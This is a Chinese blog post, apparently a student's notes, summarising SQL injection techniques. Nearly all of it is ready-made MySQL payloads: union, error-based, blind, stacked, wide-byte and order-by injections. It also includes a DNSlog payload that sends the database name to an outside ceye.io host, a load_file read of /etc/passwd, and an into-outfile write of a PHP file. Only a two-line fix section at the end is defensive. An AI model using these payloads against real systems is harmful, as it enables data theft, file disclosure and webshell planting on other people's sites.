1. 程式人生 > 資料庫 >[Web安全]SQL注入總結(一)基礎篇

[Web安全]SQL注入總結(一)基礎篇

[Web安全]SQL注入總結(一)基礎篇

搞不懂17周了,居然還有很多課要上,sql注入有點多,所以分開來寫,先水一篇

要去睡覺了 明天還要上課 修改狀態....

注入方式

  • union注入

    1' or 1=1 order by xx#
    
    
    ' union select 1,database()#
    
    
    ' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#
    
    
    'union select 1,group_concat(column_name) from information_schema.columns where
    table_name = 'xxx'#
    
    
    'union select 1,xxx from xxx#
    
  • 報錯注入

    floor()
    1' or (select 1 from(select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x)a)#
    
    updatexml()
    and 1=(updatexml(1,concat(0x3a,(select user())),1))#
    
    extractvalue()
    and extractvalue(1,concat(0x5c,(select user())))
    
    exp()
    and exp(~(select * from(select user())a))
    
    multipoint()
    and multipoint((select * from(select * from(select user())a)b))
    
    geometrycollection()
    and geometrycollection((select * from(select * from(select user())a)b))
    
    polygon()
    and polygon((select * from(select * from(select user())a)b))
    
    multipolygon()
    and multipolygon((select * from(select * from(select user())a)b))
    
    linestring()
    and linestring((select * from(select * from(select user())a)b))
    
    multilinestring()
    and multilinestring((select * from(select * from(select user())a)b))
    
    'union select 1,2,3 from (select name_const(version(),1),name_const(version(),1))x  version>5.0.12
    
    select * from(select * from mysql.user ajoin mysql.user b)c  //Join
    
  • 盲注

    基於布林:
    構造等式或者不等式,網頁返回情況有明顯差異,通過這個差異寫指令碼,爆破
    and ascii(substr((select database()),1,1))>64#判斷database第一個字元的ascii值是否大於64
    
    
    基於時間:
    大多用於沒有回顯,構造的等式正確與否,返回值都沒明顯差異的情況。於是利用時間延遲的差異來判斷是否正確
    ' union select if(database()='pikachu',sleep(4),1),null#如果正確就會延遲4s
    
  • 堆疊注入

    查詢多個語句 使用分號隔開
    1’;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#
    
    
    可以導致堆疊注入的函式
    mysqli_multi_query函式,mysqli_multi_query函式可以執行多條SQL語句
    
  • 二次注入

    比如說,在存入資料庫的時候做了過濾,但是取出來的時候沒有做過濾,而產生的資料庫注入
    
  • 寬位元組注入

    輸入 1' or 1=1#,防禦啟動把它變為 1\' or 1=1#
    單引號被\過濾 payload無效
    
    
    輸入 1%df' or 1=1# 防禦又啟動把它變為 1%df\' or 1=1# 
    GBK是多位元組編碼,他認為兩個位元組代表一個漢字 GBK開始編碼 變為 1運' or 1=1# 
    此時單引號就逃出來了
    所以說利用條件就是字符集
    
  • DNSlog注入

    1.有些注入是沒有回顯的,使用指令碼盲注,但很可能會被逮著ban ip,如果可以的話,使用DNSlog注入會好一點,而且挺快的
    
    
    2.只用於windows系統,原理就是'\\\\'代表Microsoft Windows通用命名約定(UNC)的檔案和目錄路徑格式利用任何以下擴充套件儲存程式引發DNS地址解析。雙斜槓表示網路資源路徑多加兩個\就是轉義了反斜槓
    
    
    ' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)
    
  • 讀寫檔案

    很多時候 花裡胡哨的 能直接寫shell 讀flag不香嗎 /滑稽。當然需要許可權,路徑(這個不一定哦)
    
    
    1.load_file()讀取檔案
    可以使用16進位制
    union select 1,load_file('/etc/passwd'),3,4,5#0x2f6574632f706173737764
    union select 1,load_file(0x2f6574632f706173737764),3,4,5#
    
    
    2.into outfile()寫入檔案 需要絕對路徑
    select '<?php phpinfo(); ?>' into outfile 'C:\Windows\tmp\8.php'
    

語句位置

  • insert/update/insert

    1.使用報錯注入
    #insert
    原句 #假設a1可控
    insert into user(x1,x2,x3) values('a1','a2',a3)
    變為
    insert into user(x1,x2,x3) values('a1' or updatexml(1,concat(0x3a,(select user())),1) or '','a2',a3)
    
    #update #這裡這個方法和insert差不多的
    UPDATE users SET password='Nicky' or updatexml(2,concat(0x7e,(version())),0) or''WHERE id=2 and username='Olivia';
    
    #delete
    原句 #假設 id 可控
    delete xxx from users where id =1226
    變為
    delete xxx from users where id =1226 or updatexml (1,concat(0x7e,datebase()),0)
    
    #更多閉合變種
    ' or (payload) or '
    ' and (payload) and '
    ' or (payload) and '
    ' or (payload) and '='
    '* (payload) *'
    ' or (payload) and '
    " – (payload) – "
    
    2.記得還有一種,而且確實也分環境,瞭解的師傅歡迎在評論下方告知。
    
  • order by

    order by if(1=1,id,username); 
    order by if(1=1,1,sleep(1));
    order by rand(ascii(mid((select database()),1,1))>96)
    select * from ha order by updatexml(1,if(1=1,1,user()),1);#查詢正常
    select * from ha order by updatexml(1,if(1=2,1,user()),1);#查詢報錯
    select * from ha order by extractvalue(1,if(1=1,1,user()));#查詢正常
    select * from ha order by extractvalue(1,if(1=2,1,user()));#查詢報錯
    

漏洞修復

1.過濾關鍵字元

2.使用PDO預編譯語句